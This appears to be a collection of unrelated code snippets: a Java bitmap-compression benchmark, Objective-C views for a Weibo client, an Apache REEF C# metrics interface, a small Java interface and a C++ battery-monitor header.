                    for (int k = 0; k < offsets.size() - 1 ; k++) {
                        mbb.position((int) offsets.get(k).longValue());
                        final ByteBuffer bb = mbb.slice();
                        bb.limit((int) (offsets.get(k + 1) - offsets.get(k)));
                        ImmutableConciseSet ics = new ImmutableConciseSet(bb);
                        icss.add(ics);
                    }
                    bef = System.currentTimeMillis();
                    icss = new ArrayList<ImmutableConciseSet>(NumberOfBitmaps);
                    for (int k = 0; k < offsets.size() - 1 ; k++) {
                        mbb.position((int) offsets.get(k).longValue());
                        final ByteBuffer bb = mbb.slice();
                        bb.limit((int) (offsets.get(k + 1) - offsets.get(k)));
                        ImmutableConciseSet ics = new ImmutableConciseSet(bb);
                        icss.add(ics);
                    }
                    aft = System.currentTimeMillis();
                    long deserializationTime = aft - bef;
                    // Disk storage in bytes
                    long sizeDisk = file.length();
                    // Average time to compute unions between NumberOfBitmaps
                    // ConciseSets
                    double unionTime = test(new Launcher() {
                        @Override
                        public void launch() {
                            ics = ImmutableConciseSet.union(icss.iterator());
                            careof += ics.size();
                        }
                    });
                    // Average time to compute intersects between
                    // NumberOfBitmaps ConciseSets
                    double intersectTime = test(new Launcher() {
                        @Override
                        public void launch() {
                            ics = ImmutableConciseSet.intersection(icss
                                    .iterator());
                            careof += ics.size();
                        }
                    });
                    // Average time to retrieve set bits
                    double scanTime = testScanConcise();

                    System.out.println("***************************");
                    System.out.println("ConciseSet on " + dataSet + " dataset");
                    System.out.println("***************************");
                    System.out.println("Deserialization time: "+deserializationTime+" ms");
                    System.out.println("RAM Size = " + (sizeRAM * 1. / 1024)
                            + " Kb" + " ("
                            + Math.round(sizeRAM * 1. / NumberOfBitmaps)
                            + " bytes/bitmap)");
                    System.out.println("Disk Size = " + (sizeDisk * 1. / 1024)
                            + " Kb" + " ("
                            + Math.round(sizeDisk * 1. / NumberOfBitmaps)
                            + " bytes/bitmap)");
                    System.out.println("Unions time = " + unionTime + " ms");
                    System.out.println("Intersections time = " + intersectTime
                            + " ms");
                    System.out.println("Scans time = " + scanTime + " ms");
                    System.out.println(".ignore = " + careof);
                    mbb = null;
                    memoryMappedFile.close();
                    file.delete();
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static ConciseSet toConcise(int[] dat) {
        ConciseSet ans = new ConciseSet();
        for (int i : dat)
            ans.add(i);
        return ans;
    }

    static double test(Launcher job) {
        long jobTime, begin, end;
        int i, repeat = 1;
        // Warming up the cache
        do {
            repeat *= 2;// potentially unsafe for very large integers
            begin = System.currentTimeMillis();
            for (int r = 0; r < repeat; r++) {
                job.launch();
            }
            end = System.currentTimeMillis();
            jobTime = (end - begin);
        } while ((jobTime < warmup_ms) && (repeat < (1 << 24)));
        // We can start timings now
        begin = System.currentTimeMillis();
        for (i = 0; i < nbRepetitions; ++i) {
            job.launch();
        }
        end = System.currentTimeMillis();
        jobTime = end - begin;
        return (double) (jobTime) / (double) (nbRepetitions);
    }

    static double testScanRoaring() {
        long scanTime, begin, end;
        int i, k, repeat = 1;
        org.roaringbitmap.IntIterator it;
        // Warming up the cache
        do {
            repeat *= 2;
            scanTime = 0;
            for (int r = 0; r < repeat; r++) {
                begin = System.currentTimeMillis();
                for (k = 0; k < irbs.length; k++) {
                    irb = irbs[k];
                    it = irb.getIntIterator();
                    while (it.hasNext()) {
                        it.next();
                    }
                }
                end = System.currentTimeMillis();
                scanTime += end - begin;
            }
        } while ((scanTime < warmup_ms) && (repeat < (1 << 24)));

        // We can start timings now
        scanTime = 0;
        for (i = 0; i < nbRepetitions; i++) {
            begin = System.currentTimeMillis();
            for (k = 0; k < irbs.length; k++) {
                irb = irbs[k];
                it = irb.getIntIterator();
                while (it.hasNext()) {
                    it.next();
                }
            }
            end = System.currentTimeMillis();
            scanTime += end - begin;
        }
        return scanTime * 1. / nbRepetitions;
    }

    static double testScanConcise() {
        long scanTime, begin, end;
        int i, k, repeat = 1;
        IntIterator it;
        // Warming up the cache
        do {
            repeat *= 2;
            scanTime = 0;
            for (int r = 0; r < repeat; r++) {
                begin = System.currentTimeMillis();
                for (k = 0; k < icss.size(); k++) {
                    ics = icss.get(k);
                    it = ics.iterator();
                    while (it.hasNext()) {
                        it.next();
                    }
                }
                end = System.currentTimeMillis();
                scanTime += end - begin;
            }
        } while ((scanTime < warmup_ms) && (repeat < (1 << 24)));

        // We can start timings now
        scanTime = 0;
        begin = System.currentTimeMillis();
        for (i = 0; i < nbRepetitions; i++) {
            for (k = 0; k < icss.size(); k++) {
                ics = icss.get(k);
                it = ics.iterator();
                while (it.hasNext()) {
                    it.next();
                }
            }
        }
        end = System.currentTimeMillis();
        scanTime = end - begin;
        return scanTime * 1. / nbRepetitions;
    }

}


text:
@interface PhotoFlickViewController : UIViewController {

}

@end


text: class Properties { set = 123; }


text:
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements.  See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership.  The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License.  You may obtain a copy of the License at
//
//   http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied.  See the License for the
// specific language governing permissions and limitations
// under the License.

using System.Collections.Generic;
using Org.Apache.REEF.Common.Metrics.MetricsSystem;
using Org.Apache.REEF.Tang.Annotations;
using Org.Apache.REEF.Utilities.Attributes;

namespace Org.Apache.REEF.Common.Metrics.Api
{
    /// <summary>
    /// Immutable record of the metric. Represents snapshot of set of metrics
    /// with a timestamp.
    /// </summary>
    [Unstable("0.16", "Contract may change.")]
    [DefaultImplementation(typeof(MetricsRecord))]
    public interface IMetricsRecord
    {
        /// <summary>
        /// Gets the timestamp of the metric in seconds.
        /// Exact semantics is left to the default implementation.
        /// One option is to create the seconds-since-the-UNIX-epoch mentioned at this page.
        /// https://blogs.msdn.microsoft.com/brada/2004/03/20/seconds-since-the-unix-epoch-in-c/
        /// </summary>
        long Timestamp { get; }

        /// <summary>
        /// Name of the record.
        /// </summary>
        string Name { get; }

        /// <summary>
        /// Description of the record.
        /// </summary>
        string Description { get; }

        /// <summary>
        /// Context name of the record.
        /// </summary>
        string Context { get; }

        /// <summary>
        /// Get the tags of the record.
        /// </summary>
        IEnumerable<MetricsTag> Tags { get; }

        /// <summary>
        /// Get the metrics of the record.
        /// </summary>
        IEnumerable<IImmutableMetric> Metrics { get; }
    }
}


text:
package com.boxable.text;

public interface WrappingFunction {

	String[] getLines(String text);
}


text:
@implementation WeiboView

- (void)dealloc{
    //移除通知
    [[NSNotificationCenter defaultCenter] removeObserver:self];
}

- (instancetype)initWithFrame:(CGRect)frame
{
    if ([super initWithFrame:frame]) {
        [self _createSubViews];
    }

    return self;
}

- (void)awakeFromNib{
    [self _createSubViews];

}

- (void)_createSubViews{

    //1.微博内容
    _textLabel = [[WXLabel alloc]initWithFrame:CGRectZero];
    _textLabel.linespace = 5;
    _textLabel.wxLabelDelegate =self;
    //_textLabel.font = [UIFont systemFontOfSize:15];
    [self addSubview:_textLabel];

    //2.原微博内容
    _sourceLabel = [[WXLabel alloc]initWithFrame:CGRectZero];
    _sourceLabel.linespace = 5;
    _textLabel.wxLabelDelegate =self;
    //_sourceLabel.font = [UIFont systemFontOfSize:14];
    [self addSubview:_sourceLabel];

    //3.图片
    _imgView = [[ZoomImageView alloc]initWithFrame:CGRectZero];
    _imgView.contentMode= UIViewContentModeScaleAspectFit;
    [self addSubview:_imgView];

    //4.原微博背景图片
    _bgImageView = [[ThemeImageView alloc]initWithFrame:CGRectZero];
    //_bgImageView.backgroundColor = [UIColor redColor];

    _bgImageView.leftCapWidth = 25;
    _bgImageView.topCapWidth = 25;

    _bgImageView.imgName = @"timeline_rt_border_9.png";

    [self insertSubview:_bgImageView atIndex:0];

    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(themeChangeAction:) name:kThemeDidChangeNofication object:nil];

}

-(void)setLayoutFrame:(WeiboViewLaoutFrame *)layoutFrame{
    if (_layoutFrame != layoutFrame) {
        _layoutFrame=layoutFrame;
        [self setNeedsLayout];
    }
}

- (void)layoutSubviews{

    [super layoutSubviews];
    _textLabel.font =   [UIFont systemFontOfSize: FontSize_Weibo(_layoutFrame.isDetail)] ;
    _sourceLabel.font =  [UIFont systemFontOfSize: FontSize_ReWeibo(_layoutFrame.isDetail)] ;

    WeiboModel *weiboModel = self.layoutFrame.weiboModel;

    //1 设置微博文字
    _textLabel.frame = self.layoutFrame.textFrame;
    _textLabel.text = weiboModel.text;

    //2  微博是否是转发的
    if (weiboModel.reWeiboModel != nil) {
        self.bgImageView.hidden = NO;
        self.sourceLabel.hidden = NO;

        self.bgImageView.frame = self.layoutFrame.bgImgFrame;

        self.sourceLabel.text = weiboModel.reWeiboModel.text;
        self.sourceLabel.frame = self.layoutFrame.srTextFrame;

        NSString *imgUrl = weiboModel.reWeiboModel.thumbnailImage;

        NSString *fullImgUrl = weiboModel.reWeiboModel.originalImage;

        if (imgUrl !=nil) {
            self.imgView.hidden = NO;
            self.imgView.frame = self.layoutFrame.imgFrame;
            [self.imgView sd_setImageWithURL:[NSURL URLWithString:imgUrl]];
            self.imgView.fullImageUrlString = fullImgUrl;
        }else{
            self.imgView.hidden = YES;
        }

    }else{
        self.bgImageView.hidden = YES;
        self.sourceLabel.hidden = YES;

        NSString *imgUrl = weiboModel.thumbnailImage;

        if (imgUrl == nil) {
            self.imgView.hidden = YES;
        }else{
            self.imgView.hidden =NO;
            self.imgView.frame =self.layoutFrame.imgFrame;

            [self.imgView sd_setImageWithURL:[NSURL URLWithString:imgUrl]];

            //微博大图的链接
            self.imgView.fullImageUrlString = weiboModel.originalImage;

        }

    }

    if (self.imgView.hidden == NO) {
        UIImageView *iconView = self.imgView.iconImageView;
        iconView.frame = CGRectMake(_imgView.width-24, _imgView.height-15, 24, 15);

        NSString *extension = [weiboModel.thumbnailImage pathExtension];
        NSString *extension1 = [weiboModel.reWeiboModel.thumbnailImage pathExtension];

        if ([extension isEqualToString:@"gif"] || [extension1 isEqualToString:@"gif"]) {
            iconView.hidden = NO;
            self.imgView.isGif = YES;

        } else {
            iconView.hidden = YES;
            self.imgView.isGif = NO;

        }
    }

}

#pragma mark
-(NSString *)contentsOfRegexStringWithWXLabel:(WXLabel *)wxLabel
{
    //需要添加链接字符串的正则表达式:@用户、http://、#话题#
    NSString *regex1 = @"@\\w+";
    NSString *regex2 = @"http(s)?://([A-Za-z0-9._-]+(/)?)*";
    NSString *regex3 = @"#\\w+#";
    NSString *regex = [NSString stringWithFormat:@"(%@)|(%@)|(%@)",regex1,regex2,regex3];
    return regex;

}

//设置当前链接文本的颜色
-(UIColor *)linkColorWithWXLabel:(WXLabel *)wxLabel{

    return [[ThemeManager shareInstance] getThemeColor:@"Link_color"];
}

//链接点击高亮
- (UIColor *)passColorWithWXLabel:(WXLabel *)wxLabel{
    return [UIColor blueColor];
}

-(void)themeChangeAction:(NSNotification *)notification{
    _textLabel.textColor = [[ThemeManager shareInstance] getThemeColor:@"Timeline_Content_color"];
    _sourceLabel.textColor = [[ThemeManager shareInstance] getThemeColor:@"Timeline_Content_color"];
}
@end


text:
struct batterySample {
  uint32_t time;
  float batteryVoltage;
};

class Battery {
  public:
    Battery(IO_Analog& io_analog, TwoWire& w);
    float getBatteryVoltage() const;
    float getChargeCurrent() const;
    uint8_t getBatteryStatus() const;
    uint32_t getLastFullyChargeTime() const;
    uint32_t getLastChargeDuration() const;
    const std::deque<batterySample>& getBatteryHistory() const;
    bool isDocked() const;
    bool isCharging() const;
    bool needRecharge() const;
    bool isFullyCharged() const;
    void start();

  private:
    static const uint16_t MAX_SAMPLES = 100;   // How much history are we going to keep? set too high will consume excessive memory and we may get out-of-memory related errors.
    static const uint16_t BATTERY_CHARGECURRENT_DELAY = 100; // Read charge current every XXX milliseconds.
    static const uint16_t BATTERY_VOLTAGE_DELAY = 20;        // Read battery voltage every XXX seconds.
    static const uint8_t CURRENT_MEDIAN_SAMPLES = 11;        // How many samples should we take to calculate a median value for charge current. Don't fiddle with this unless needed.

    IO_Analog& io_analog;
    TwoWire& wire;
    float batteryVoltage = 0;
    float lastChargeCurrentReading = 0;
    bool _isDocked = false;
    bool _isCharging = false;
    bool _needRecharge = false;
    bool _isFullyCharged = false;
    float currentMedian[CURRENT_MEDIAN_SAMPLES] = {0};
    uint8_t currentMedianIndex = 0;
    void updateBatteryVoltage();
    void updateChargeCurrent();
    Ticker batteryVoltageTicker;
    Ticker chargeCurrentTicker;
    std::deque<batterySample> batterySamples;
};

#endif